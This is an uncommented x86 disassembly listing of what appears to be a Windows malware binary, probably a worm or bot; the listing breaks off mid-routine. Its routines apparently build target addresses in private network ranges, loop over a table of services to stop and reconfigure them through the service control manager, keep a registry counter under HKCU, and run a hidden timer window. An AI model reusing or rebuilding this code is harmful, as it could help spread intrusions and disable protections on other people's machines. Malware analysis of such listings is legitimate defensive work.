		cmp	al, 3
		jnb	short loc_43EEF9
		mov	al, [ebp-135h]
		mov	[ebp-131h], al

loc_43EEF9:				; CODE XREF: .data:0043EED5j
					; .data:0043EEEBj
		cmp	byte ptr [ebp-111h], 0Ah
		jnz	short loc_43EF2E
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		movzx	eax, byte ptr [ebp-134h]
		push	eax
		push	offset sub_404D49
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F911
		add	esp, 14h

loc_43EF2E:				; CODE XREF: .data:0043EF00j
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0ACh
		jnz	short loc_43EF88
		mov	al, [ebp-112h]
		cmp	al, 0Fh
		jbe	short loc_43EF88
		cmp	al, 21h
		jnb	short loc_43EF88
		call	sub_43F8F9
		movzx	edi, byte ptr [ebp-132h]
		push	edi
		movzx	edi, byte ptr [ebp-131h]
		push	edi
		mov	edx, eax
		and	edx, 8000000Fh
		jge	short loc_43EF6E
		dec	edx
		or	edx, 0FFFFFFF0h
		inc	edx

loc_43EF6E:				; CODE XREF: .data:0043EF67j
		mov	edi, edx
		add	edi, 10h
		push	edi
		push	offset sub_404D3C
		lea	edi, [ebp-130h]
		push	edi
		call	sub_43F911
		add	esp, 14h

loc_43EF88:				; CODE XREF: .data:0043EF3Aj
					; .data:0043EF44j ...
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0C0h
		jnz	short loc_43EFC8
		movzx	eax, byte ptr [ebp-112h]
		cmp	eax, 0A8h
		jnz	short loc_43EFC8
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		push	404D2Eh
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F911
		add	esp, 10h

loc_43EFC8:				; CODE XREF: .data:0043EF94j
					; .data:0043EFA2j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F59D
		cmp	[ebp-10Ch], eax
		jz	loc_43EE06
		push	dword ptr [ebp-10Ch]
		call	sub_43F5A9
		movzx	edi, word ptr ds:loc_404094
		push	edi
		push	eax
		push	404D27h
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_43F911
		add	esp, 10h

loc_43F008:				; CODE XREF: .data:0043F031j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh

loc_43F011:				; CODE XREF: .data:0043F016j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F011
		cmp	eax, 19h
		jz	short loc_43F033
		push	offset sub_404D25
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43F929
		add	esp, 8
		jmp	short loc_43F008
; ---------------------------------------------------------------------------

loc_43F033:				; CODE XREF: .data:0043F01Bj
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh

loc_43F03C:				; CODE XREF: .data:0043F041j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F03C
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, ebx
		add	edi, 9
		push	edi
		call	sub_43F8D5
		add	esp, 0Ch
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F59D
		push	esi
		push	ebx
		push	eax
		call	sub_43E731
		add	esp, 0Ch
		mov	[ebp-13Ch], eax
		push	0
		call	sub_43F8BD
		add	esp, 4
		jmp	loc_43EE06
; ---------------------------------------------------------------------------
		db 5Fh,	5Eh, 5Bh
		dd 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F08C	proc near		; CODE XREF: .data:0043F0CEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_43F70D
		cmp	eax, 80000000h
		jb	short loc_43F0A3
		mov	eax, 3Ch
		jmp	short locret_43F0C4
; ---------------------------------------------------------------------------

loc_43F0A3:				; CODE XREF: sub_43F08C+Ej
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_43F5F1
		and	[ebp+var_4], 2
		cmp	[ebp+var_4], 2
		jnz	short loc_43F0BF
		mov	eax, 12Ch
		jmp	short locret_43F0C4
; ---------------------------------------------------------------------------

loc_43F0BF:				; CODE XREF: sub_43F08C+2Aj
		mov	eax, 64h

locret_43F0C4:				; CODE XREF: sub_43F08C+15j
					; sub_43F08C+31j
		leave
		retn
sub_43F08C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_43F08C
		mov	ebx, eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401565h
		push	0
		push	0
		call	sub_43F79D
		push	eax
		call	sub_43F6F5
		xor	esi, esi
		jmp	short loc_43F127
; ---------------------------------------------------------------------------

loc_43F0F5:				; CODE XREF: .data:0043F129j
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401E23h
		push	0
		push	0
		call	sub_43F79D
		push	eax
		call	sub_43F6F5
		mov	eax, 0EA60h
		xor	edx, edx
		div	ebx
		mov	[ebp-8], eax
		mov	edi, eax
		push	eax
		call	sub_43F8BD
		pop	ecx
		inc	esi

loc_43F127:				; CODE XREF: .data:0043F0F3j
		cmp	esi, ebx
		jb	short loc_43F0F5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F132	proc near		; CODE XREF: sub_43F401+ACp

var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 388h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_16C]
		lea	esi, sub_404A38
		mov	ecx, 51h
		rep movsd
		and	[ebp+var_24], 0

loc_43F155:				; CODE XREF: sub_43F132+211j
		push	0F003Fh
		push	0
		push	0
		call	sub_43F845
		mov	[ebp+var_28], eax
		or	eax, eax
		jz	loc_43F33C
		push	0F003Fh
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_370], eax
		push	[ebp+eax+var_16C]
		push	[ebp+var_28]
		call	sub_43F851
		mov	ebx, eax
		or	eax, eax
		jz	loc_43F334
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		push	ebx
		call	sub_43F82D
		mov	[ebp+var_4], eax
		and	[ebp+var_4], 0

loc_43F1AD:				; CODE XREF: sub_43F132+A4j
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		push	ebx
		call	sub_43F82D
		or	eax, eax
		jz	short loc_43F1C3
		cmp	[ebp+var_1C], 1
		jnz	short loc_43F1C5

loc_43F1C3:				; CODE XREF: sub_43F132+89j
		jmp	short loc_43F1D8
; ---------------------------------------------------------------------------

loc_43F1C5:				; CODE XREF: sub_43F132+8Fj
		push	3E8h
		call	sub_43F779
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jb	short loc_43F1AD

loc_43F1D8:				; CODE XREF: sub_43F132:loc_43F1C3j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_374], eax
		cmp	[ebp+eax+var_168], 0
		jz	short loc_43F1F6
		push	ebx
		call	sub_43F839

loc_43F1F6:				; CODE XREF: sub_43F132+BCj
		push	ebx
		call	sub_43F821
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_378], eax
		cmp	[ebp+eax+var_164], 0
		jz	loc_43F334
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	0
		jnz	loc_43F2BC
		push	0
		push	18h
		lea	eax, [ebp+var_36C]
		push	eax
		push	0
		call	sub_43F5FD
		or	eax, eax
		jz	short loc_43F2BC
		lea	ecx, [ebp+var_36C]
		or	eax, 0FFFFFFFFh

loc_43F255:				; CODE XREF: sub_43F132+128j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F255
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jbe	short loc_43F289
		mov	eax, [ebp+var_4]
		sub	eax, 1
		cmp	[ebp+eax+var_36C], 5Ch
		jz	short loc_43F289
		push	404BA0h
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_43F929
		add	esp, 8

loc_43F289:				; CODE XREF: sub_43F132+131j
					; sub_43F132+141j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_43F929
		add	esp, 8
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_43F7A9

loc_43F2BC:				; CODE XREF: sub_43F132+FEj
					; sub_43F132+118j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	1
		jnz	short loc_43F334
		lea	eax, [ebp+var_4]
		push	eax
		push	20006h
		push	0
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_384], eax
		mov	edx, [ebp+eax+var_164]
		push	dword ptr [edx+4]
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+0Ch]
		call	sub_43F881
		or	eax, eax
		jnz	short loc_43F334
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		push	[ebp+var_4]
		call	sub_43F85D
		push	[ebp+var_4]
		call	sub_43F875

loc_43F334:				; CODE XREF: sub_43F132+62j
					; sub_43F132+E0j ...
		push	[ebp+var_28]
		call	sub_43F821

loc_43F33C:				; CODE XREF: sub_43F132+36j
		inc	[ebp+var_24]
		cmp	[ebp+var_24], 1Bh
		jb	loc_43F155
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_43F132	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	eax, [ebp+0Ch]
		cmp	eax, 10h
		jz	short loc_43F3DE
		jg	short loc_43F36B
		cmp	eax, 2
		jz	short loc_43F3D5
		jmp	loc_43F3EB
; ---------------------------------------------------------------------------

loc_43F36B:				; CODE XREF: .data:0043F35Fj
		cmp	eax, 113h
		jnz	short loc_43F3EB
		and	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-8], 4
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43E370
		mov	eax, dword ptr ds:sub_404098
		mov	[ebp-0Ch], eax
		add	[ebp-4], eax
		push	4
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43E305
		add	esp, 30h
		push	0
		push	offset sub_404098
		call	sub_43F725
		jmp	short loc_43F3FC
; ---------------------------------------------------------------------------

loc_43F3D5:				; CODE XREF: .data:0043F364j
		push	0
		call	sub_43F7F1
		jmp	short loc_43F3FC
; ---------------------------------------------------------------------------

loc_43F3DE:				; CODE XREF: .data:0043F35Dj
		push	dword ptr ds:loc_402FFE+2
		call	sub_43F809
		jmp	short loc_43F3FC
; ---------------------------------------------------------------------------

loc_43F3EB:				; CODE XREF: .data:0043F366j
					; .data:0043F370j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_43F815

loc_43F3FC:				; CODE XREF: .data:0043F3D3j
					; .data:0043F3DCj ...
		pop	edi
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F401	proc near		; CODE XREF: sub_43F609+5Cp

var_2DC		= byte ptr -2DCh
var_2D8		= byte ptr -2D8h
var_148		= dword	ptr -148h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		push	403010h
		call	sub_43F68D
		push	404B7Ch
		lea	eax, [ebp+var_143]
		push	eax
		call	sub_43F911
		and	[ebp+var_44], 0
		lea	eax, loc_4023A4+3
		mov	[ebp+var_40], eax
		and	[ebp+var_3C], 0
		and	[ebp+var_38], 0
		mov	[ebp+var_34], edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_143]
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_43F7C1
		push	0
		push	edi
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CF0000h
		push	offset sub_404D25
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		call	sub_43F7FD
		mov	dword ptr ds:loc_402FFE+2, eax
		call	sub_43F6D1
		push	eax
		call	sub_43E2E0
		lea	eax, [ebp+var_2D8]
		push	eax
		push	2
		call	sub_43F53D
		push	0
		call	sub_43F132
		lea	eax, [ebp+var_2DC]
		push	eax
		push	0
		push	0
		push	40211Dh
		push	0
		push	0
		call	sub_43F79D
		push	eax
		call	sub_43F6F5
		and	[ebp+var_148], 0
		push	4
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43E305
		add	esp, 24h
		push	0
		push	2710h
		push	1
		push	dword ptr ds:loc_402FFE+2
		call	sub_43F7B5
		jmp	short loc_43F522
; ---------------------------------------------------------------------------

loc_43F510:				; CODE XREF: sub_43F401+132j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_43F7D9
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_43F7E5

loc_43F522:				; CODE XREF: sub_43F401+10Dj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_43F7CD
		or	eax, eax
		jnz	short loc_43F510
		pop	edi
		leave
		retn	10h
sub_43F401	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F53D	proc near		; CODE XREF: sub_43F401+A5p
		jmp	dword ptr ds:loc_40524A+2
sub_43F53D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F549	proc near		; CODE XREF: .data:0043E607p
		jmp	dword ptr ds:loc_405250
sub_43F549	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F555	proc near		; CODE XREF: .data:0043E5D4p
		jmp	dword ptr ds:sub_405254
sub_43F555	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F561	proc near		; CODE XREF: .data:0043E502p
					; sub_43E731+651p
		jmp	dword ptr ds:loc_405257+1
sub_43F561	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F56D	proc near		; CODE XREF: sub_43E731+1BAp
		jmp	dword ptr ds:loc_40525C
sub_43F56D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F579	proc near		; CODE XREF: sub_43ED92+20p
		jmp	dword ptr ds:loc_40525F+1
sub_43F579	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F585	proc near		; CODE XREF: sub_43ED92+Ep
		jmp	dword ptr ds:loc_40525F+5
sub_43F585	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F591	proc near		; CODE XREF: .data:0043E5C2p
					; sub_43E731+197p
		jmp	dword ptr ds:loc_405267+1
sub_43F591	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F59D	proc near		; CODE XREF: .data:0043EFCFp
					; .data:0043F060p
		jmp	dword ptr ds:loc_40526A+2
sub_43F59D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5A9	proc near		; CODE XREF: sub_43E731+63p
					; .data:0043EFE6p
		jmp	dword ptr ds:loc_40526F+1
sub_43F5A9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5B5	proc near		; CODE XREF: .data:0043E5F2p
		jmp	dword ptr ds:loc_40526F+5
sub_43F5B5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5C1	proc near		; CODE XREF: .data:0043E3E2p
					; sub_43E731+20Bp ...
		jmp	dword ptr ds:loc_405277+1
sub_43F5C1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5CD	proc near		; CODE XREF: .data:0043E434p
					; .data:0043E470p ...
		jmp	dword ptr ds:loc_40527C
sub_43F5CD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5D9	proc near		; CODE XREF: .data:0043E4FAp
					; sub_43E731+649p
		jmp	dword ptr ds:loc_40527F+1
sub_43F5D9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5E5	proc near		; CODE XREF: .data:0043E58Bp
					; sub_43E731+48p
		jmp	dword ptr ds:loc_405283+1
sub_43F5E5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5F1	proc near		; CODE XREF: sub_43F08C+1Dp
		jmp	dword ptr ds:loc_40528A+6
sub_43F5F1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5FD	proc near		; CODE XREF: sub_43F132+111p
		jmp	dword ptr ds:loc_40529C
sub_43F5FD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F609	proc near		; CODE XREF: .data:0043E228p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_43F6C5
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_43F63D
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_43F935
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43F658
		mov	edi, eax
		inc	edi
		jmp	short loc_43F635
; ---------------------------------------------------------------------------

loc_43F634:				; CODE XREF: sub_43F609+2Fj
		inc	edi

loc_43F635:				; CODE XREF: sub_43F609+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_43F634
		jmp	short loc_43F658
; ---------------------------------------------------------------------------

loc_43F63C:				; CODE XREF: sub_43F609+3Ej
		inc	edi

loc_43F63D:				; CODE XREF: sub_43F609+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_43F649
		cmp	eax, 20h
		jnz	short loc_43F63C

loc_43F649:				; CODE XREF: sub_43F609+39j
		jmp	short loc_43F64C
; ---------------------------------------------------------------------------

loc_43F64B:				; CODE XREF: sub_43F609+4Dj
		inc	edi

loc_43F64C:				; CODE XREF: sub_43F609:loc_43F649j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_43F658
		cmp	eax, 20h
		jz	short loc_43F64B

loc_43F658:				; CODE XREF: sub_43F609+24j
					; sub_43F609+31j ...
		push	0
		call	sub_43F6E9
		push	1
		push	edi
		push	0
		push	eax
		call	sub_43F401
		pop	edi
		leave
		retn
sub_43F609	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F66D	proc near		; CODE XREF: sub_43E731+8p

var_FFC		= dword	ptr -0FFCh

		pop	ecx

loc_43F66E:				; CODE XREF: sub_43F66D+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_43F66E
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_43F66D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43F68D	proc near		; CODE XREF: sub_43F401+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_43F68D	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6B9	proc near		; CODE XREF: .data:0043E548p
		jmp	dword ptr ds:loc_4052A5+3
sub_43F6B9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6C5	proc near		; CODE XREF: sub_43F609+5p
		jmp	dword ptr ds:loc_4052AC
sub_43F6C5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6D1	proc near		; CODE XREF: sub_43F401+91p
		jmp	dword ptr ds:loc_4052AC+4
sub_43F6D1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6DD	proc near		; CODE XREF: .data:0043E550p
		jmp	dword ptr ds:loc_4052B4
sub_43F6DD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6E9	proc near		; CODE XREF: sub_43F609+51p
		jmp	dword ptr ds:loc_4052B4+4
sub_43F6E9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6F5	proc near		; CODE XREF: .data:0043E580p
					; .data:0043E624p ...
		jmp	dword ptr ds:loc_4052BC
sub_43F6F5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F701	proc near		; CODE XREF: .data:0043EDD8p
		jmp	dword ptr ds:loc_4052C0
sub_43F701	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F70D	proc near		; CODE XREF: sub_43F08C+4p
		jmp	dword ptr ds:loc_4052C0+4
sub_43F70D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F719	proc near		; CODE XREF: sub_43E2E0+1Ep
		jmp	dword ptr ds:loc_4052C5+3
sub_43F719	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F725	proc near		; CODE XREF: .data:0043E51Ep
					; .data:0043F3CEp
		jmp	dword ptr ds:loc_4052CB+1
sub_43F725	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F731	proc near		; CODE XREF: .data:0043E4C2p
		jmp	dword ptr ds:loc_4052CB+5
sub_43F731	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F73D	proc near		; CODE XREF: .data:0043E55Dp
					; .data:0043EDF0p
		jmp	dword ptr ds:loc_4052CB+9
sub_43F73D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F749	proc near		; CODE XREF: .data:0043E53Ap
		jmp	dword ptr ds:loc_4052D7+1
sub_43F749	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F755	proc near		; CODE XREF: .data:0043E57Ap
		jmp	dword ptr ds:loc_4052D7+5
sub_43F755	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F761	proc near		; CODE XREF: sub_43E023+13p
		jmp	dword ptr ds:loc_4052DE+2
sub_43F761	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F76D	proc near		; CODE XREF: .data:0043E598p
					; sub_43E731+17Ep
		jmp	dword ptr ds:loc_4052DE+6
sub_43F76D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F779	proc near		; CODE XREF: .data:0043E4B6p
					; .data:0043E4F0p ...
		jmp	dword ptr ds:loc_4052E5+3
sub_43F779	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F785	proc near		; CODE XREF: sub_43E731+72p
		jmp	dword ptr ds:loc_4052EC
sub_43F785	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F791	proc near		; CODE XREF: sub_43E731+BBp
					; sub_43E731+D9p ...
		jmp	dword ptr ds:loc_4052F0
sub_43F791	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F79D	proc near		; CODE XREF: .data:0043E61Ep
					; .data:0043F0E6p ...
		jmp	dword ptr ds:loc_4052F2+2
sub_43F79D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7A9	proc near		; CODE XREF: sub_43F132+185p
		jmp	dword ptr ds:loc_4052F7+1
sub_43F7A9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7B5	proc near		; CODE XREF: sub_43F401+108p
		jmp	dword ptr ds:loc_405303+1
sub_43F7B5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7C1	proc near		; CODE XREF: sub_43F401+60p
		jmp	dword ptr ds:loc_405307+1
sub_43F7C1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7CD	proc near		; CODE XREF: sub_43F401+12Bp
		jmp	dword ptr ds:loc_40530B+1
sub_43F7CD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7D9	proc near		; CODE XREF: sub_43F401+113p
		jmp	dword ptr ds:loc_405310
sub_43F7D9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7E5	proc near		; CODE XREF: sub_43F401+11Cp
		jmp	dword ptr ds:loc_405312+2
sub_43F7E5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7F1	proc near		; CODE XREF: .data:0043F3D7p
		jmp	dword ptr ds:loc_405317+1
sub_43F7F1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7FD	proc near		; CODE XREF: sub_43F401+87p
		jmp	dword ptr ds:loc_40531B+1
sub_43F7FD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F809	proc near		; CODE XREF: .data:0043F3E4p
